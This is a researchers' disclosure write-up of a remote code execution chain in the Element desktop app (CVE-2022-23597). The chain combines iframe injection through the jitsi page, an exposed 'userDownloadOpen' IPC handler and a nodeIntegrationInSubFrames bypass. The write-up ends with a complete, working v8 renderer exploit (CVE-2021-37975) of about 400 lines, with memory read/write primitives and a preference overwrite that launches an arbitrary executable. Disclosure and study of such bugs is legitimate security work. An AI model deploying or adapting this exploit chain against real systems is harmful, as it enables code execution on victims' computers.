Remote Code Execution on Element Desktop Application using Node Integration in Sub Frames Bypass - CVE-2022-23597

– by s1r1us and TheGrandPew

pew 1: element

During our Electron Desktop Application hacking frenzy, Pew informed me on Discord about a Desktop Application called Element in which he was able to insert an external iframe. We began examining the Element source code, which is public here, and eventually succeeded in Remote Code Execution.

Let’s dig into the details of the bug right away!

Bug #1: IFrame Injection

This is rather a feature than a bug, Element supports jitsi for conference calls, which provides options for self-hosting your own server. According to docs, conferenceDomain query parameter can be provided to embed an self-hosting conference server. Furthermore, the doc says The url is typically something we shove into an iframe with "sandboxing". As, it was “sandboxed” it won’t be an issue right? right?

PoC for Iframe Injection

The following URL can be used to embed an external site named pwn.af.

1
https://app.element.io/jitsi.html?conferenceDomain=pwn.af&conferenceId=xxd&userId=pew

Desktop Application PoC

1
element://vector/webapp/jitsi.html?conferenceDomain=pwn.af&conferenceId=xxd&userId=pew

By using the above PoC, we can get JavaScript Execution on the Desktop App. The issue is Element Desktop Applicaiton fully enables sandbox. As you can noticed in the below script sandbox is enabled via app.enableSandbox(), also note that nodeIntegrationInSubFrames is not explicitly enabled which is disabled by default.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
    app.enableSandbox();
    global.mainWindow = new BrowserWindow({
      [...]
        webPreferences: {
            preload: preloadScript,
            nodeIntegration: false,
            //sandbox: true, // We enable sandboxing from app.enableSandbox() above
            contextIsolation: true,
            webgl: true,
        },

This situation is different from previous Discord bug where sandbox is not fully enabled. There are few things we can look for, if sandbox is disabled on main window.

  1. Check if there are any new-window or navigation misconfiguration similar to Discord bug.
  2. Check if there are any postMessage issues on main frame.
  3. Find a XSS on subdomain of the parent window(app.element.io). To perform same-origin spoofing similar to the challenge I gave in BSides Ahmedabad CTF.
  4. Finally, we can look for sensitive ipcMain handlers on main window which can be reached through CVE-2022-29247 we reported to Electron

Now, the only option we have is four as the app is fully sandboxed.

Bug? #2: Finding Remote Code Execution Sinks on Desktop App

After grepping for ipcMain.on and ipcMain.handle we came across to an interesting IPC handler defined to open user Downloaded files.

1
2
3
4
//https://github.com/vector-im/element-desktop/blob/53e7100033a9c9283f79bb3a4c5070a461709631/src/webcontents-handler.ts#L248
ipcMain.on('userDownloadOpen', function(ev: IpcMainEvent, { path }) {
    shell.openPath(path);
});

And, this is exposed to Main Window parent frame using preload scripts contextBridge as below.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
contextBridge.exposeInMainWorld(
    "electron",
    {
        on(channel: string, listener: (event: IpcRendererEvent, ...args: any[]) => void): void {
            if (!CHANNELS.includes(channel)) {
                console.error(`Unknown IPC channel ${channel} ignored`);
                return;
            }
            ipcRenderer.on(channel, listener);
        },
        send(channel: string, ...args: any[]): void {
            if (!CHANNELS.includes(channel)) {
                console.error(`Unknown IPC channel ${channel} ignored`);
                return;
            }
            ipcRenderer.send(channel, ...args);
        },
    },
);

So, by sending an following IPC from the main frame, we can achieve Remote Code Execution on Element Desktop.

1
electron.send('userDownloadOpen',{path:'C:\\Windows\\System32\\calc.exe'})

Now, Let’s consider our options on how to get access to electron.send from the iframe which we have XSS on.

  1. Get an XSS on Main window and access electron.send directly.
  2. Use CVE-2022-29247 nodeIntegrationInSubFrames and get access to electron.send in our iframe.

We audited Main Window JavaScript for XSS sinks, we couldn’t find anything interesting. So, we decided to use second option which seems to be easily achieved as the Element Desktop is using an old version of Electron.

1
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Element/1.9.5 Chrome/91.0.4472.164 Electron/13.5.1 Safari/537.36

What is nodeIntegrationInSubFrames?

It is important to understand what nodeIntegrationSubFrames is clearly, from the official Electron Documentation the nodeIntegrationInSubFrames webPreference is defined as follows.

nodeIntegrationInSubFrames: Experimental option for enabling Node.js support in sub-frames such as iframes and child windows. All your preloads will load for every iframe, you can use process.isMainFrame to determine if you are in the main frame or not.

The important thing to note in the above statement for our exploit is that the nodeIntegrationSubFrames enables preloads in iframes, in other words it exposes contextBridge APIs to the iframes and child windows. Which is what we exactly wanted to get access to electron.send exposed by the Element Desktop Main window preload JS.

The situation we have can be described with the below picture.

Node Integration in Sub Frames

As you, can see our frame doesn’t have access to electron.send API.

Bug 3: Renderer Exploit to Enable nodeIntegrationInSubFrames CVE-2022-29247

Electron adds Electron-specific WebPreferences such as node_integration, context_isolation and node_integration_in_subframes by patching the blink WebPreferences. These preferences then later used to check if the specific RenderFrame(a web frame) has access to Electron specific features such Node APIs, preload scripts, contextBridge and so on.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
--- a/third_party/blink/common/web_preferences/web_preferences.cc
+++ b/third_party/blink/common/web_preferences/web_preferences.cc
@@ -142,6 +142,19 @@ WebPreferences::WebPreferences()
       fake_no_alloc_direct_call_for_testing_enabled(false),
       v8_cache_options(blink::mojom::V8CacheOptions::kDefault),
       record_whole_document(false),
+      // Begin Electron-specific WebPreferences.
+      context_isolation(false),
+      is_webview(false),
+      hidden_page(false),
+      offscreen(false),
+      node_integration(false),
+      node_integration_in_worker(false),
+      node_integration_in_sub_frames(false),
+      enable_spellcheck(false),
+      enable_plugins(false),
+      enable_websql(false),
+      webview_tag(false),
+      // End Electron-specific WebPreferences.
       cookie_enabled(true),
       accelerated_video_decode_enabled(false),
       animation_policy(

Let’s just concentrate on node_integration_in_sub_frames which is needed for our Element RCE, the other WebPreferences exploitations will be described in coming blogs.

The decision to either allow preloads in child frames(RenderFrames) takes place in ElectronRenderFrameObserver:DidInstallConditionalFeatures which is done in the same Renderer process instead of the Browser process.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
void ElectronSandboxedRendererClient::DidCreateScriptContext(
    v8::Handle<v8::Context> context,
    content::RenderFrame* render_frame) {
  RendererClientBase::DidCreateScriptContext(context, render_frame);

  // Only allow preload for the main frame or
  // For devtools we still want to run the preload_bundle script
  // Or when nodeSupport is explicitly enabled in sub frames
  bool is_main_frame = render_frame->IsMainFrame();
  bool is_devtools =
      IsDevTools(render_frame) || IsDevToolsExtension(render_frame);
  bool allow_node_in_sub_frames =
      render_frame->GetBlinkPreferences().node_integration_in_sub_frames;
  bool should_load_preload =
      (is_main_frame || is_devtools || allow_node_in_sub_frames) &&
      !IsWebViewFrame(context, render_frame);
  if (!should_load_preload)
    return;

  injected_frames_.insert(render_frame);
[...]
}

As the check is done in the renderer process, using a renderer exploit the setting can be flipped which effectively enables nodeIntegrationInSubFrames.

The only thing which is left is to write an exploit which flips the render_frame->GetBlinkPreferences().node_integration_in_sub_frames somehow which is the hardest part for me.

Exploit Development with v8 exploit CVE-2021-37975

I decided to use CVE-2021-37975 to exploit the issue. Having not so much experience in exploit development, this was the very tiring and interesting part for me. Fun fact, I didn’t know nothing about v8 binary exploitation before our research and somehow was able to learn basic v8 exploitation thanks to my CTF mate ptr-yudai 😌. Even though, we usually use an public v8 exploit its not as easy as running it and popping the calculator. The hardest part I faced during this exploit writing is finding render_frame_ offset from window object as it was not stable usually because of using hardcoded offsets dumbly. I used to spend days in lldb to understand the v8 bug and find offsets to blink WebPreferences, but the popping calculator in the end made it worth doing.

Anywho, after trying for 2 days I was able to pull off full exploit. The following snippet shows the offset to render_frame->GetBlinkPreferences().node_integration_in_sub_frames. You can find the full exploit in the end of the writeup.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
    var win = addrof(window);
    console.log("[+] win address : " + win.hex());

    var addr1 = half_read(win + 0x18n);
    console.log("[+] win + 0x18 : " + addr1.hex());

    var addr2 = full_read(addr1 + 0xf8n);
    console.log("[+] add2: " + addr2.hex());

    var web_pref = addr2 + 0x50008n;
    var preload = full_read(web_pref + 0x1a0n);
    console.log("[+] web_pref addr: " + web_pref.hex());


    var nisf = web_pref  + 0x1acn;
    var nisf_val = full_read(nisf);
    console.log("[+] nisf val = "+ nisf_val.hex());
    var overwrite = nisf_val | 0x0000000000000001n //overwrite
    full_write(nisf, overwrite);
    var nisf_val = full_read(nisf);
    console.log("[+] nisf val overwritten = "+ nisf_val.hex());

And finally, after enabling the nodeIntegrationInSubFrames we just need to create a same-origin RenderFrame which will have access to electron.send 🔥.

1
2
3
    frame = document.createElement("iframe")
    frame.srcdoc="<script>electron.send('userDownloadOpen',{path:'/System/Applications/Calculator.app/Contents/MacOS/Calculator'})<\/script>";
    document.body.appendChild(frame)

PoC

The final exploit looks like as below.

final

Here is the nice PoC which pop the calculator.

Want to secure your electron or JS Application? Reach out us at [email protected] or visit https://hacktron.ai to learn more

Here is the full exploit to get RCE on Element.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
<html>
<head></head>
<b>pwn</b>
<button onclick=pwn() >click me to pwn </button>
<script>
    function sleep(miliseconds) {
   var currentTime = new Date().getTime();
   while (currentTime + miliseconds >= new Date().getTime()) {
   }
}

var initKey = {init : 1};
var level = 4;
var map1 = new WeakMap();
var gcSize = 0x4fe00000;
var sprayParam = 100;

var dbl = [1.1,1.1,1.1,1.1];
// %DebugPrint(dbl);

//Get mapAddr using DebugPrint for double array (the compressed address of the map)
// var mapAddr = 0x824a8e1;
// var mapAddr = 0x82830e1
var mapAddr = 0x83430e1

var rwxOffset = 0x60;

var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var module = new WebAssembly.Module(code);
var instance = new WebAssembly.Instance(module);
var wasmMain = instance.exports.main;
// %DebugPrint(instance);
//Return values should be deleted/out of scope when gc happen, so they are not directly reachable in gc
function hideWeakMap(map, level, initKey) {
  let prevMap = map;
  let prevKey = initKey;
  for (let i = 0; i < level; i++) {
    let thisMap = new WeakMap();
    prevMap.set(prevKey, thisMap);
    let thisKey = {'h' : i};
    //make thisKey reachable via prevKey
    thisMap.set(prevKey, thisKey);
    prevMap = thisMap;
    prevKey = thisKey;
    if (i == level - 1) {
      let retMap = new WeakMap();
      map.set(thisKey, retMap);
      return thisKey;
    }
  }
}
//Get the key for the hidden map, the return key is reachable as strong ref via weak maps, but should not be directly reachable when gc happens
function getHiddenKey(map, level, initKey) {
  let prevMap = map;
  let prevKey = initKey;
  for (let i = 0; i < level; i++) {
    let thisMap = prevMap.get(prevKey);
    let thisKey = thisMap.get(prevKey);
    prevMap = thisMap;
    prevKey = thisKey;
    if (i == level - 1) {
      return thisKey;
    }
  }
}

function setUpWeakMap(map) {
//  for (let i = 0; i < 1000; i++) new Array(300);
  //Create deep enough weak ref trees to hiddenMap so it doesn't get discovered by concurrent marking
  let hk = hideWeakMap(map, level, initKey);
//Round 1 maps
  let hiddenMap = map.get(hk);
  let map7 = new WeakMap();
  let map8 = new WeakMap();

//hk->k5, k5: discover->wl
  let k5 = {k5 : 1};
  let map5 = new WeakMap();
  let k7 = {k7 : 1};
  let k9 = {k9 : 1};
  let k8 = {k8 : 1};
  let ta = new Uint8Array(1024);
  ta.fill(0xfe);
  let larr = new Array(1 << 15);
  larr.fill(1.1);
  let v9 = {ta : ta, larr : larr};
  map.set(k7, map7);
  map.set(k9, v9);

//map3 : kb|vb: initial discovery ->wl
  hiddenMap.set(k5, map5);
  hiddenMap.set(hk, k5);

//iter2: wl: discover map5, mark v6 (->k5) black, discovery: k5 black -> wl
//iter3: wl: map5 : mark map7, k7, no discovery, iter end
  map5.set(hk, k7);
  
//Round 2: map5 becomes kb in current, initial state: k7, map7 (black), goes into wl
//iter1

//wl discovers map8, and mark k8 black
  map7.set(k8, map8);
  map7.set(k7, k8);

//discovery moves k8, map8 into wl
//iter2 marks k9 black, iter finished
  map8.set(k8,k9);
  
}


var conversion_buffer = new ArrayBuffer(8);
var float_view = new Float64Array(conversion_buffer);
var int_view = new BigUint64Array(conversion_buffer);
BigInt.prototype.hex = function() {
    return '0x' + this.toString(16);
};
BigInt.prototype.i2f = function() {
    int_view[0] = this;
    return float_view[0];
}
Number.prototype.f2i = function() {
    float_view[0] = this;
    return int_view[0];
}



var view = new ArrayBuffer(24);
var dblArr = new Float64Array(view);
var intView = new Int32Array(view);
var bigIntView = new BigInt64Array(view);

function ftoi32(f) {
  dblArr[0] = f;
  return [intView[0], intView[1]];
}

function i32tof(i1, i2) {
  intView[0] = i1;
  intView[1] = i2;
  return dblArr[0];
}

function itof(i) {
  bigIntView = BigInt(i);
  return dblArr[0];
}

function ftoi(f) {
  dblArr[0] = f;
  return bigIntView[0];
}

BigInt.prototype.hex = function() {
  return '0x' + this.toString(16);
};

Number.prototype.hex = function() {
  return '0x' + this.toString(16);
};

function gc() {
  //trigger major GC: See https://tiszka.com/blog/CVE_2021_21225_exploit.html (Trick #2: Triggering Major GC without spraying the heap)
  new ArrayBuffer(gcSize);
}


function restart() {
  //Should deopt main if it gets optimized
  global.__proto__ = {};
  gc();
  sleep(2000);
  pwn();
}

function pwn() {
 setUpWeakMap(map1);
 gc();

 let objArr = [];

 for (let i = 0; i < sprayParam; i++) {
   let thisArr = new Array(1 << 15);
   objArr.push(thisArr);
 }
 //These are there to stop main being optimized by JIT
    globalIdx['a' + globalIdx] = 1;
    //Can't refactor this, looks like it cause some double rounding problem (got optimized?)
 for (let i = 0; i < objArr.length; i++) {
   let thisArr = objArr[i];
   thisArr.fill(instance);
 }
    globalIdx['a' + globalIdx + 1000] = 1;
    let result = null;
 try {
      result = fetch();
    } catch (e) {
      console.log("fetch failed");
      restart();
      return;
    }
    if (!result) {
   console.log("fail to find object address.");
      restart();
      return;
    }
    let larr = result.larr;
    let index = result.idx;

    let instanceAddr = ftoi32(larr[index])[0];
    let instanceFloatAddr = larr[index];
    console.log("found instance address: 0x" + instanceAddr.toString(16) + " at index: " + index);
    let x = {};
    for (let i = 0; i < objArr.length; i++) {
      let thisArr = objArr[i];
      thisArr.fill(x);
    }

    globalIdx['a' + globalIdx + 5000] = 1;

    larr[index] = instanceFloatAddr;
    let objArrIdx = -1;
    let thisArrIdx = -1;
    for (let i = 0; i < objArr.length; i++) {
      globalIdx['a' + globalIdx + 3000] = 1;
   global.__proto__ = {};
      let thisArr = objArr[i];
      for (let j = 0; j < thisArr.length; j++) {
        let thisObj = thisArr[j];
        if (thisObj == instance) {
          console.log("found window object at: " + i + " index: " + j);
          objArrIdx = i;
          thisArrIdx = j;
        }
      }
    }
    globalIdx['a' + globalIdx + 4000] = 1;
    if (objArrIdx == -1) {
      console.log("failed getting fake object index.");
      restart();
      return;
    }
    let obj_arr = objArr[objArrIdx];
    let double_arr = larr;

    //%DebugPrint(objArr[objArrIdx][thisArrIdx]);

    function addrof(obj){
      
      obj_arr.fill(obj);  
      return (double_arr[index].f2i() & 0xffffffffn) - 1n;

    }

    function fakeobj(addr){
      globalIdx['a' + globalIdx + 2001] = 1;

      larr[index] =  addr 
      return objArr[objArrIdx][thisArrIdx];

    }

    globalIdx['a' + globalIdx + 2000] = 1;


    // Fake map
    let addr_proto = addrof(Array.prototype);
    console.log("[+] addr_proto = " + addr_proto.hex());
    let fake_map = [
          0x1604040408042119n.i2f(),
          0x0a0004002100043dn.i2f(),
          (addr_proto | 1n).i2f()
    ];

    //%DebugPrint(fake_map);
    let addr_map = addrof(fake_map) + 0x74n;
    if((addr_map%8n)!=0)
      addr_map -= 4n //for some reason it should %8 = 0
    console.log("[+] fake map: " + addr_map.hex());
    
    let obj = [1.1,1.1,1.1];
    //%DebugPrint(obj);

    let addr  = Number(addrof(obj)) | 1 ;

    let objEleAddr = addr + 0x18 + 0x8 ;
    let floatAddr = i32tof(objEleAddr, objEleAddr);
    let floatMapAddr = i32tof(Number(addr_map) | 1, Number(addr_map) | 1);
    //Faking an array at using obj[0] and obj[1]
    obj[0]  = floatMapAddr;
    // let eleLength = i32tof(instanceAddr + rwxOffset, 10);
    //fake object at element of obj
    larr[index] = floatAddr;
    let fakeArray = objArr[objArrIdx][thisArrIdx];

    function half_read(addr){
      // let element = i32tof(addr-8, 10);//-8 exact addr
      let element = (0x888800000001n | (addr-8n)).i2f();
      obj[1] = element;
      return fakeArray[0].f2i();

    }
    function half_write(addr, value){

      // let element  = i32tof(addr-8, 10);
      let element = (0x888800000001n | (addr-8n)).i2f();
      obj[1] = element;
      fakeArray[0] = value.i2f();
    }

    //full read write
    let evil = new Float64Array(0x10);
    let addr_evil = addrof(evil);
    console.log("[+] addr_evil = " + addr_evil.hex());
    let orig_evil = half_read(addr_evil + 0x28n);
    console.log("[+] backing store of typed array: " + orig_evil.hex());
    function full_read(addr) {
        half_write(addr_evil + 0x28n, addr);
        return evil[0].f2i();
    }
    function full_write(addr, value) {
        half_write(addr_evil + 0x28n, addr);
        evil[0] = value.i2f();
    }
    function full_cleanup() {
        half_write(addr_evil + 0x28n, orig_evil);
    }

    var win = addrof(window);
    console.log("[+] win address : " + win.hex());

    var addr1 = half_read(win + 0x18n);
    console.log("[+] win + 0x18 : " + addr1.hex());

    var addr2 = full_read(addr1 + 0xf8n);
    console.log("[+] add2: " + addr2.hex());

    var web_pref = addr2 + 0x50008n;
    var preload = full_read(web_pref + 0x1a0n);
    console.log("[+] web_pref addr: " + web_pref.hex());

    console.log("[+] preload addr: " + preload.hex());

    var ciso = web_pref + 0x184n
    var nisf = web_pref  + 0x1acn;
    var nisf_val = full_read(nisf);
    console.log("[+] nisf val = "+ nisf_val.hex());
    var overwrite = nisf_val | 0x0000000000000001n
    full_write(nisf, overwrite);
    var nisf_val = full_read(nisf);
    console.log("[+] nisf val overwritten = "+ nisf_val.hex());

    // var ciso_val = full_read(ciso);
    // console.log("[+] ciso val = "+ ciso_val.hex());
    // var overwrite = ciso_val  &  (0xffffffffffffff00n);
    // full_write(ciso, overwrite);
    // var nisf_val = full_read(ciso);
    // console.log("[+] ciso val overwritten = "+ ciso_val.hex());




    frame = document.createElement("iframe")
    frame.srcdoc="<script>electron.send('userDownloadOpen',{path:'/System/Applications/Calculator.app/Contents/MacOS/Calculator'})<\/script>";
    document.body.appendChild(frame)

}

function findTA(ta) {
    let found = false;
    for (let i = 0; i < 16; i++) {
      if (ta[i] != 0xfe) {
          console.log(ta[i]);
          return true;
      }
    }
    console.log(ta[0]);
    return found;
}

function findLArr(larr) {
    for (let i = 0; i < (1 << 15); i++) {
        if (larr[i] != 1.1) {
          let addr = ftoi32(larr[i]);
          return i;
        }
 }
 return -1;
}

function fetch() {
 let hiddenKey = getHiddenKey(map1, level, initKey);
 let hiddenMap = map1.get(hiddenKey);
 let k7 = hiddenMap.get(hiddenMap.get(hiddenKey)).get(hiddenKey);
 let k8 = map1.get(k7).get(k7);
 let map8 = map1.get(k7).get(k8);

 let larr = map1.get(map8.get(k8)).larr;
    let index = findLArr(larr);
 if (index == -1) {
   return;
 }
    return {larr : larr, idx : index};
}
global = {};
globalIdx = 0;
pwn();
</script>
</html>